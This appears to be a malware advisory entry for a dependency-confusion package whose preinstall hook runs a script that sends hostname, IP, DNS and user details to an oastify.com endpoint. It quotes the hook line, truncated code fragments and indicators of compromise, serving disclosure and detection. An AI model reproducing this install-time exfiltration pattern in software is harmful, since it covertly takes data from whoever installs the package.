GCVE-110-OSM-2026-3344

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, network activity, install-time execution. Payload: src/preinstall.js Key findings: - OAST/Interactsh Exfiltration in src/preinstall.js: "oastify.com" - Install Hook Executes Local JS File in package.json: ""preinstall": "node src/preinstall.js"" - System Information Exfiltration in src/preinstall.js: "os.hostname(); const userinfo = os.userInfo() const response = await fe..." - HTTP Data Exfiltration in src/preinstall.js: "os.hostname(); const userinfo = os.userInfo() const response = await fe..." - Platform Detection with Data Collection in src/preinstall.js: "JSON.stringify({ hos" IOCs: - urls: https://mb1s68pzoxsim8qxnth3z3x3puvljg75.oastify.com/api/endpoint - domains: mb1s68pzoxsim8qxnth3z3x3puvljg75.oastify.com - oastEndpoints: https://mb1s68pzoxsim8qxnth3z3x3puvljg75.oastify.com/api/endpoint - payloadFileHash: 29b6a760a5cbb4513d35d4ccbaca0a932299ca2d220303300dc54864c7e35e70